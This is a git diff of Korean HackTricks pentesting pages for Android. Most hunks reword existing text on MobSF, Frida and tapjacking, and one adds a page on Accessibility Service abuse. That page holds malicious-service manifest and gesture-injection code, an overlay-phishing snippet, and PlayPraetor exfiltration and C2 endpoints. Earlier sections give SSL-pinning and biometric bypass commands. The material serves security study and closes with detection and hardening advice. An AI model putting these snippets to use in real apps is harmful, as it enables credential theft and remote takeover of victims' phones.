- **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명).
|
||||
- **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명됨).
|
||||
- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### 일반 웹 취약점 찾기
|
||||
@ -445,7 +446,7 @@ Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법
|
||||
|
||||
### **메모리 덤프 - Fridump**
|
||||
|
||||
애플리케이션이 비밀번호나 암기구문과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요.
|
||||
애플리케이션이 비밀번호나 암기구문과 같은 민감한 정보를 메모리에 저장하고 있지 않은지 확인하세요.
|
||||
|
||||
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 앱의 메모리를 덤프할 수 있습니다:
|
||||
```bash
|
||||
@ -462,7 +463,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Keystore의 민감한 데이터**
|
||||
|
||||
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 루트 사용자로서 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있는지 확인해야 합니다.
|
||||
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 루트 사용자로 확인해야 하며, 물리적으로 장치에 접근할 수 있는 누군가가 이 데이터를 훔칠 수 있습니다.
|
||||
|
||||
앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다.
|
||||
|
||||
@ -484,7 +485,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
|
||||
스냅샷은 일반적으로 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
|
||||
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창의 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -496,7 +497,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 액티비티, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다.
|
||||
|
||||
위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있는 경우입니다.
|
||||
위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있습니다.
|
||||
|
||||
### 주요 요점
|
||||
|
||||
@ -509,7 +510,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
아마도 웹에서 이러한 종류의 취약점에 대해 알고 계실 것입니다. 안드로이드 애플리케이션에서 이러한 취약점에 특히 주의해야 합니다:
|
||||
|
||||
- **SQL 주입:** 동적 쿼리 또는 콘텐츠 제공자를 다룰 때 매개변수화된 쿼리를 사용하고 있는지 확인하십시오.
|
||||
- **SQL 주입:** 동적 쿼리나 콘텐츠 제공자를 다룰 때 매개변수화된 쿼리를 사용하고 있는지 확인하십시오.
|
||||
- **자바스크립트 주입 (XSS):** 모든 WebViews에 대해 자바스크립트 및 플러그인 지원이 비활성화되어 있는지 확인하십시오 (기본적으로 비활성화됨). [자세한 정보는 여기](webview-attacks.md#javascript-enabled)를 참조하십시오.
|
||||
- **로컬 파일 포함:** WebViews는 파일 시스템에 대한 접근이 비활성화되어야 합니다 (기본적으로 활성화됨) - `(webview.getSettings().setAllowFileAccess(false);)`. [자세한 정보는 여기](webview-attacks.md#javascript-enabled)를 참조하십시오.
|
||||
- **영구 쿠키**: 여러 경우에 안드로이드 애플리케이션이 세션을 종료할 때 쿠키가 취소되지 않거나 디스크에 저장될 수 있습니다.
|
||||
@ -533,33 +534,33 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
MobSF는 **Android**(apk)**, IOS**(ipa) **및 Windows**(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_).\
|
||||
또한, **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다.
|
||||
|
||||
MobSF는 **diff/Compare** 분석을 허용하고 **VirusTotal**와 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
|
||||
MobSF는 **diff/비교** 분석을 허용하고 **VirusTotal**과 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
|
||||
|
||||
### MobSF를 이용한 보조 동적 분석
|
||||
|
||||
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\
|
||||
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** MobSF를 시작해야 합니다._\
|
||||
**MobSF 동적 분석기**는 다음을 수행할 수 있습니다:
|
||||
|
||||
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 원할 때 눌러야 하거나 "**Exported Activity Tester**"를 눌러 모든 내보낸 활동의 스크린샷을 얻어야 합니다.
|
||||
- **HTTPS 트래픽 캡처**
|
||||
- **Frida**를 사용하여 **런타임** **정보**를 얻기
|
||||
|
||||
Android **버전 > 5**에서는 **자동으로 Frida를 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다.
|
||||
Android **버전 > 5**에서는 **자동으로 Frida**를 시작하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다.
|
||||
|
||||
**Frida**
|
||||
|
||||
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\
|
||||
MobSF는 내보낸 활동을 **호출**하고, 그 스크린샷을 **캡처**하여 보고서에 **저장**할 수 있습니다.
|
||||
MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 **캡처**하여 보고서에 **저장**할 수 있습니다.
|
||||
|
||||
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에서 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
|
||||
MobSF는 자신의 **Frida 스크립트**를 로드할 수 있도록 허용합니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다).
|
||||
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다).
|
||||
|
||||
.png>)
|
||||
|
||||
또한, 몇 가지 보조 Frida 기능이 있습니다:
|
||||
|
||||
- **로드된 클래스 나열**: 모든 로드된 클래스를 출력합니다.
|
||||
- **문자열 캡처**: 애플리케이션을 사용하는 동안 모든 캡처된 문자열을 출력합니다 (매우 시끄러움).
|
||||
- **문자열 캡처**: 애플리케이션을 사용하는 동안 캡처된 모든 문자열을 출력합니다 (매우 시끄러움).
|
||||
- **문자열 비교 캡처**: 매우 유용할 수 있습니다. **비교되는 2개의 문자열**과 결과가 True인지 False인지 보여줍니다.
|
||||
- **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 출력합니다.
|
||||
- **클래스 패턴 검색**: 패턴으로 클래스를 검색합니다.
|
||||
@ -569,7 +570,7 @@ MobSF는 자신의 **Frida 스크립트**를 로드할 수 있도록 허용합
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 포함한 셸을 제공합니다. 몇 가지 흥미로운 명령:
|
||||
Mobsf는 또한 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 포함한 셸을 제공합니다. 몇 가지 흥미로운 명령:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -583,10 +584,10 @@ receivers
|
||||
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 또는 "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\
|
||||
이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾을 수 있습니다.
|
||||
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아볼 수 있습니다.
|
||||
|
||||
> [!TIP]
|
||||
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 이를 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다:
|
||||
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -595,7 +596,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP
|
||||
### Inspeckage를 이용한 보조 동적 분석
|
||||
|
||||
[**Inspeckage**](https://github.com/ac-pm/Inspeckage)에서 도구를 받을 수 있습니다.\
|
||||
이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알리기 위해 몇 가지 **Hooks**를 사용합니다.
|
||||
이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알리기 위해 몇 가지 **후크**를 사용합니다.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
@ -605,7 +606,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다 (노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
|
||||
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 취약점(노출된 활동, 인텐트, 탭재킹 등)을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다. Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -625,11 +626,11 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지하는 방식으로 작동합니다.
|
||||
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지합니다.
|
||||
|
||||
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 생성할 수 있습니다.
|
||||
|
||||
최신 바이너리는 [download page](https://superanalyzer.rocks/download.html)에서 다운로드하세요.
|
||||
최신 바이너리는 [다운로드 페이지](https://superanalyzer.rocks/download.html)에서 다운로드하세요.
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
@ -684,17 +685,17 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
## 코드 오브스큐레이션/디오브스큐레이션
|
||||
|
||||
코드를 오브스큐레이트하는 데 사용하는 서비스와 구성에 따라 비밀이 오브스큐레이트될 수도 있고 그렇지 않을 수도 있습니다.
|
||||
코드를 오브스큐레이션하는 데 사용하는 서비스와 구성에 따라 비밀이 오브스큐레이션될 수도 있고 그렇지 않을 수도 있습니다.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
[위키백과](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소, 최적화 및 오브스큐레이트하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공용 라이선스 버전 2에 따라 배포됩니다.
|
||||
[위키백과](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소, 최적화 및 오브스큐레이션하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공용 라이선스 버전 2에 따라 배포됩니다.
|
||||
|
||||
ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리스 모드로 빌드할 때 실행됩니다.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 APK를 디오브스큐레이트하는 단계별 가이드를 찾으세요.
|
||||
[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 APK를 디오브스큐레이션하는 단계별 가이드를 찾으세요.
|
||||
|
||||
(그 가이드에서) 마지막으로 확인했을 때, Dexguard의 작동 모드는 다음과 같았습니다:
|
||||
|
||||
@ -708,11 +709,11 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리
|
||||
|
||||
**DeGuard는 Android 오브스큐레이션 도구가 수행한 오브스큐레이션 프로세스를 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.**
|
||||
|
||||
오브스큐레이트된 APK를 그들의 플랫폼에 업로드할 수 있습니다.
|
||||
오브스큐레이션된 APK를 그들의 플랫폼에 업로드할 수 있습니다.
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
이것은 Android 앱에서 잠재적인 보안 취약점을 찾고 Android 앱 코드를 디오브스큐레이트하는 LLM 도구입니다. Google의 Gemini 공개 API를 사용합니다.
|
||||
이것은 Android 앱에서 잠재적인 보안 취약점을 찾고 Android 앱 코드를 디오브스큐레이션하는 LLM 도구입니다. Google의 Gemini 공개 API를 사용합니다.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
|
||||
@ -0,0 +1,145 @@
|
||||
# Android Accessibility Service Abuse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 개요
|
||||
|
||||
`AccessibilityService`는 장애인이 Android 장치와 상호작용할 수 있도록 돕기 위해 만들어졌습니다. 불행히도, 동일한 **강력한 자동화 API**(전역 탐색, 텍스트 입력, 제스처 전송, 오버레이 창 등…)는 악성 소프트웨어에 의해 무기화되어 **루트 권한 없이** 핸드셋의 **완전 원격 제어**를 얻을 수 있습니다.
|
||||
|
||||
현대 Android 은행 트로이안 및 원격 액세스 트로이안(RAT)인 **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** 등은 동일한 레시피를 따릅니다:
|
||||
|
||||
1. 피해자를 사회 공학적으로 속여 악성 접근성 서비스를 활성화하게 합니다 (*BIND_ACCESSIBILITY_SERVICE* 권한은 "고위험"으로 간주되며 명시적인 사용자 작업이 필요합니다).
|
||||
2. 서비스를 활용하여
|
||||
* 화면에 나타나는 모든 UI 이벤트 및 텍스트를 캡처하고,
|
||||
* 합성 제스처(`dispatchGesture`) 및 전역 작업(`performGlobalAction`)을 주입하여 운영자가 원하는 작업을 자동화하고,
|
||||
* **TYPE_ACCESSIBILITY_OVERLAY** 창 유형을 사용하여 합법적인 앱 위에 전체 화면 오버레이를 그리며( `SYSTEM_ALERT_WINDOW` 프롬프트 없음!),
|
||||
* 피해자를 대신하여 시스템 대화 상자를 클릭하여 추가 런타임 권한을 조용히 부여합니다.
|
||||
3. 사용자가 완전히 정상적인 화면을 보고 있는 동안 데이터를 유출하거나 **On-Device-Fraud (ODF)**를 실시간으로 수행합니다.
|
||||
|
||||
---
|
||||
|
||||
## 권한 요청
|
||||
```xml
|
||||
<!-- AndroidManifest.xml -->
|
||||
<service
|
||||
android:name="com.evil.rat.EvilService"
|
||||
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
|
||||
android:exported="false">
|
||||
|
||||
<intent-filter>
|
||||
<action android:name="android.accessibilityservice.AccessibilityService" />
|
||||
</intent-filter>
|
||||
|
||||
<meta-data android:name="android.accessibilityservice"
|
||||
android:resource="@xml/evil_accessibility_config"/>
|
||||
</service>
|
||||
```
|
||||
동반 XML은 가짜 대화 상자가 어떻게 보일지를 정의합니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:description="@string/service_description"
|
||||
android:accessibilityEventTypes="typeAllMask"
|
||||
android:accessibilityFeedbackType="feedbackGeneric"
|
||||
android:notificationTimeout="200"
|
||||
android:canPerformGestures="true"
|
||||
android:canRetrieveWindowContent="true"/>
|
||||
```
|
||||
---
|
||||
|
||||
## 원격 UI 자동화 원시 요소
|
||||
```java
|
||||
public class EvilService extends AccessibilityService {
|
||||
@Override
|
||||
public void onAccessibilityEvent(AccessibilityEvent event) {
|
||||
// harvest text or detect foreground app change
|
||||
}
|
||||
|
||||
// Simulate HOME / BACK / RECENTS …
|
||||
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
|
||||
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
|
||||
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
|
||||
|
||||
// Generic tap / swipe
|
||||
public void tap(float x, float y) {
|
||||
Path p = new Path(); p.moveTo(x, y);
|
||||
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
|
||||
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
|
||||
}
|
||||
}
|
||||
```
|
||||
이 두 개의 API만으로 공격자는 다음을 수행할 수 있습니다:
|
||||
* 화면 잠금을 해제하고, 은행 앱을 열고, UI 트리를 탐색하며, 이체 양식을 제출할 수 있습니다.
|
||||
* 나타나는 모든 권한 대화 상자를 수락할 수 있습니다.
|
||||
* Play Store 인텐트를 통해 추가 APK를 설치/업데이트할 수 있습니다.
|
||||
|
||||
---
|
||||
|
||||
## 남용 패턴
|
||||
|
||||
### 1. 오버레이 피싱 (자격 증명 수집)
|
||||
투명하거나 불투명한 `WebView`가 윈도우 관리자에 추가됩니다:
|
||||
```java
|
||||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||||
MATCH_PARENT, MATCH_PARENT,
|
||||
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
|
||||
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
|
||||
PixelFormat.TRANSLUCENT);
|
||||
wm.addView(phishingView, lp);
|
||||
```
|
||||
피해자는 가짜 양식에 자격 증명을 입력하는 동안 백그라운드 앱은 동일한 제스처를 수신합니다. - 의심스러운 "다른 앱 위에 그리기" 프롬프트는 표시되지 않습니다.
|
||||
|
||||
> 자세한 예: Tapjacking 페이지 내의 *Accessibility Overlay Phishing* 섹션.
|
||||
|
||||
### 2. 기기 내 사기 자동화
|
||||
**PlayPraetor**와 같은 악성코드 패밀리는 운영자가 고수준 명령(`init`, `update`, `alert_arr`, `report_list`, …)을 발행할 수 있는 지속적인 WebSocket 채널을 유지합니다. 이 서비스는 이러한 명령을 위의 저수준 제스처로 변환하여, 해당 기기에 연결된 다단계 인증을 쉽게 우회하는 실시간 무단 거래를 달성합니다.
|
||||
|
||||
### 3. 화면 스트리밍 및 모니터링
|
||||
**MediaProjection API**와 RTMP 클라이언트 라이브러리를 결합하여 RAT는 라이브 프레임 버퍼를 `rtmp://<c2>:1935/live/<device_id>`로 방송할 수 있으며, 이는 접근성 엔진이 UI를 구동하는 동안 적에게 완벽한 상황 인식을 제공합니다.
|
||||
|
||||
---
|
||||
|
||||
## PlayPraetor – 명령 및 제어 워크플로우
|
||||
|
||||
1. **HTTP(S) 하트비트** – 하드코딩된 목록을 반복하여 하나의 도메인이 활성 C2와 함께 `POST /app/searchPackageName`에 응답할 때까지.
|
||||
2. **WebSocket (포트 8282)** – 양방향 JSON 명령:
|
||||
* `update` – 새로운 conf/APK 푸시
|
||||
* `alert_arr` – 오버레이 템플릿 구성
|
||||
* `report_list` – 타겟 패키지 이름 목록 전송
|
||||
* `heartbeat_web` – 유지
|
||||
3. **RTMP (포트 1935)** – 라이브 화면/비디오 스트리밍.
|
||||
4. **REST 유출** –
|
||||
* `/app/saveDevice` (지문)
|
||||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||||
* `/app/saveCardPwd` (은행 자격 증명)
|
||||
|
||||
**AccessibilityService**는 이러한 클라우드 명령을 물리적 상호작용으로 변환하는 로컬 엔진입니다.
|
||||
|
||||
---
|
||||
|
||||
## 악성 접근성 서비스 탐지
|
||||
|
||||
* `adb shell settings get secure enabled_accessibility_services`
|
||||
* 설정 → 접근성 → *다운로드된 서비스* – Google Play에서 **아닌** 앱을 찾습니다.
|
||||
* MDM / EMM 솔루션은 `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+)를 적용하여 사이드로드된 서비스를 차단할 수 있습니다.
|
||||
* 실행 중인 서비스 분석:
|
||||
```bash
|
||||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 앱 개발자를 위한 강화 권장 사항
|
||||
|
||||
* 민감한 뷰에 `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+)로 표시합니다.
|
||||
* `setFilterTouchesWhenObscured(true)`와 `FLAG_SECURE`를 결합하여 탭/오버레이 하이재킹을 방지합니다.
|
||||
* `WindowManager.getDefaultDisplay().getFlags()` 또는 `ViewRootImpl` API를 폴링하여 오버레이를 감지합니다.
|
||||
* `Settings.canDrawOverlays()` **또는** 신뢰할 수 없는 접근성 서비스가 활성화된 경우 작동을 거부합니다.
|
||||
|
||||
---
|
||||
|
||||
## 참고 문헌
|
||||
* [PlayPraetor의 진화하는 위협: 중국어를 사용하는 행위자들이 전 세계적으로 Android RAT를 확장하는 방법](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||
* [Android 접근성 문서 – UI 상호작용 자동화](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,14 +4,14 @@
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용을 희생 앱으로 전달합니다.\
|
||||
**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는** 공격입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 앱으로 전달됩니다.\
|
||||
결과적으로, 이는 **사용자가 실제로 희생 앱에서 작업을 수행하고 있다는 것을 알지 못하게 합니다**.
|
||||
|
||||
### 탐지
|
||||
|
||||
이 공격에 취약한 앱을 탐지하기 위해서는 안드로이드 매니페스트에서 **내보내기된 활동**을 검색해야 합니다 (인텐트 필터가 있는 활동은 기본적으로 자동으로 내보내집니다). 내보내기된 활동을 찾으면, **권한이 필요한지 확인하십시오**. 이는 **악의적인 애플리케이션도 해당 권한이 필요하기 때문입니다**.
|
||||
이 공격에 취약한 앱을 탐지하기 위해서는 안드로이드 매니페스트에서 **내보낸 활동**을 검색해야 합니다 (인텐트 필터가 있는 활동은 기본적으로 자동으로 내보내집니다). 내보낸 활동을 찾으면, **해당 활동이 어떤 권한을 요구하는지 확인하십시오**. 이는 **악의적인 애플리케이션도 해당 권한이 필요하기 때문입니다**.
|
||||
|
||||
앱의 최소 SDK 버전도 확인할 수 있으며, **`android:minSdkVersion`**의 값을 **`AndroidManifest.xml`** 파일에서 확인하십시오. 값이 **30보다 낮으면**, 앱은 Tapjacking에 취약합니다.
|
||||
앱의 최소 SDK 버전도 확인할 수 있으며, **`android:minSdkVersion`**의 값을 **`AndroidManifest.xml`** 파일에서 확인하십시오. 값이 **30 미만**이면, 앱은 Tapjacking에 취약합니다.
|
||||
|
||||
### 보호
|
||||
|
||||
@ -21,7 +21,7 @@
|
||||
|
||||
